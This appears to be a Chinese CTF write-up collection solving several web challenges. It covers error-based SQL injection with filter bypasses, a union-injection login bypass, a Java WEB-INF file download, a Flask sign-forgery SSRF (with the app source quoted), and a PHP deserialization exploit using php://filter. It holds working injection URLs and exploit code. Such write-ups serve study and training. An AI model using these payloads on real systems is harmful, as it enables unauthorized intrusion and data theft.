随便输入发现有报错回显,并且是单引号闭合。再跑字典发现像空格、> 、= 、union、if 常见的字符或单词都被过滤。
首先会想用/**/
绕过空格过滤,失败。用大小写、双写绕过单词过滤,也失败。 所以联合注入、盲注都不可行。
有报错回显,且extractvalue
和 updatexml
均未被过滤,尝试报错注入。
再因为空格被过滤,想到用()
分割语句到达到代替空格的效果。=
被过滤,可以用like
替代。
所以构造payload。
爆库,得到数据库名称 geek
check.php?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=2
爆表,得到表名 H4rDsq1
check.php?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x7e),1))%23&password=2
爆字段,得到字段 id,username,password
check.php?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))%23&password=2
爆内容,但因为 updatexml限制32位字符,而且flag长度大于32,所以用left和right函数拼接。
语法:left(arg,length)、right(arg,length) 。分别返回 arg 最左边、右边的 length 个字符。
前半部分 check.php?username=1'or(updatexml(1,concat(0x7e,(select((left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=2
后半部分 check.php?username=1'or(updatexml(1,concat(0x7e,(select((right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=2
拼接成功解题。关键要点在于空格的绕过。
这题好像和原题少了题目描述 ,原题目有提到md5密码验证。
查看源代码,在search.php发现提示。
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
一串base32编码的字符串,base32解码得一串base64编码,继续base64解码得到提示的sql查询语句。
select * from user where username = '$name'
base32和base64的差别
base16 只有大写字母(A ~ F)和数字( 0 ~ 9),无等号
base32 只有大写字母(A ~ Z)和数字数字( 2 ~ 7 )组成,或者后面有三个等号。
base64 只有大写字母(A ~ Z)和数字( 0 ~ 9 ),小写字母(a ~ z)组成,后面一般是两个等号。
测试注入,发现在账号名为admin时,提示密码错误,否则提示账号错误,所以,admin账号在数据库中存在。且联合注入可以用,得知存在列数为 3,并且第二列存储的为账号,通过 1' union select 1,'admin',2#
改变admin的位置可知。
但继续往下希望爆出admin对应的密码时,却失败了,()
被过滤。但有师傅说用sqlmap可以一把梭。
所以,利用这个特性,在查询一个不存在的账号,生成一个虚拟的密码,同时传入虚拟的密码,既可以查询成功。
但同时题目有说密码被md5了,所以创建虚拟的密码时应用md5值。
所以我们构造payload。其中选用 123456 的 md5 值 e10adc3949ba59abbe56e057f20f883e 作为虚拟密码。
name=1' union slelct 3, 'admin','e10adc3949ba59abbe56e057f20f883e'&pw=123456
很重要的一点是,后面包裹字符串的单引号不能少,刚开始复现失败就是因为单引号。数据类型的问题。
但看wp时很多师傅提到推测后端验证源码。只能说太强了。
新知识点:联合查询查询不存在数据会构造虚拟的数据
java没学过,所以这题差不多就是看wp积累知识面吧。
百度可知 java.io.FileNotFoundException
为 拒绝访问 或 系统找不到指定路径 报错。
再回去看登录页面的源码,发现标签作用为加载该内容,失败出现报错
但网上的博客说讲GET请求换成POST请求就可以,尝试确实可行,但都没有说为什么。
接下来就是 Java web 的知识点。WEB-INF/web.xml
,可以了解一下
。 这也是常见源码泄露的一个知识点。
因此继续用POST请求访问filename=WEB-INF/web.xml
,得到一个xml文件,最后有一个关于/Flag
的url请求处理
再回去访问 /flag ,响应500报错,同时提示一个com/wm/ctf/FlagController (wrong name: FlagController)
错误,上面提示到,这可能是路径报错。
同时结合上面的java web 默认项目路径WEB-INF/classes,补全文件后缀名。POST请求访问,看到一串字符串。base64解码得到flag。
总结知识点,在于第一个GET请求改POST请求,第二个是WEB-INF是java的WEB应用的安全目录。第三则是具体关于WEB-INF里的一些文件信息,都有什么在里面
。
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
可以先注意到满足什么条件才能出flag,从Exec()
函数往后推,找到了checkSign()
函数,再到路由绑定的 /geneSign
再到getSign()
函数,再最后到路由绑定的/De1ta
调用Exec()
函数。
再来逐一看满足条件,首先是self.checkSign()
为真,也就是下面的条件满足,才能读取flag。
getSign(self.action, self.param) == self.sign
找到 getSign
函数
hashlib.md5(secert_key + param + action).hexdigest()
拼接了secert_key + param + action
一串md5值与sign比较相等。
再继续找sign的值,没找到,但是,同时发现路由绑定的 /geneSign
也调用了getSign
函数,同时有返回值,所以,得利用它,获取一串相同的md5值。
看到在路由绑定的 /geneSign
中,action = “scan” 不用管,但param应该是什么呢?题目同时有flag在flag.txt,是不是param=flag.txt
?如果这样的话,不能满足 if "read" in self.action
,所以,param应该为flag.txtread。
在 /geneSign
中 secert_key + param = flag.txtread , action=scan
在/De1ta
中 param = flag.txt , secert_key + action =readscan 就行。
再加上cookie值 sign =c6ceaf65b6d57ad8e5e6d57032534d44
和 action=readscan
访问 /De1ta?param=flag.txt
成功得到 flag
题目总结:按逻辑来代码审计,可以逆推函数出现的地方,还有就是flask框架的简单响应流程。
直接给源码,可以在主函数中看到为PHP反序列化。
继续分析,先看到构造函数 __destruct()
构造方法:具有构造函数的类会在每次创建新对象时先调用此方法,对象创建完成后第一个被对象自动调用的方法。
先注意到===
强比较,不仅比较值还不仅数据类型。op==="2"
满足后才能继续往下,满足后分别为 op、content 赋值为1、空。并调用process()
函数。
再看 process()
函数。继续验证了op,为 1 则调用write()
函数,为 2 则调用 read()
函数。很明显得为2,因为2才有输出返回值。但注意到此时验证用的是 ==
而且前面用的是"2"
属于字符型,那就会就来了,让op=2
,整数型,在 op==="2"
时不成立,但在op=="2"
时成立。
继续看read()
函数 file_get_contents
读取文件,很自然想到PHP伪协议php://filter
,而且告诉了 flag.php ,所以也很明确了filename
变量的值。
最后一个问题,在反序列化之前调用了is_valid
函数,验证了传入的str
变量的ASCII码值都在32~125之间。但因为op、filename都为protected类型。序列化后会出现%00不可见字符,而它的ASCII值不属于32 ~ 125之间,所以不行。
解决办法,在序列化时 将属性改为public 。因为php7.1+版本对属性类型不敏感。
有一个说将序列化后的字符串再url编码一下,然后%00替换为\00,s替换为S,也可以。
最后构造序列化字符串。
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "oavinci";
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>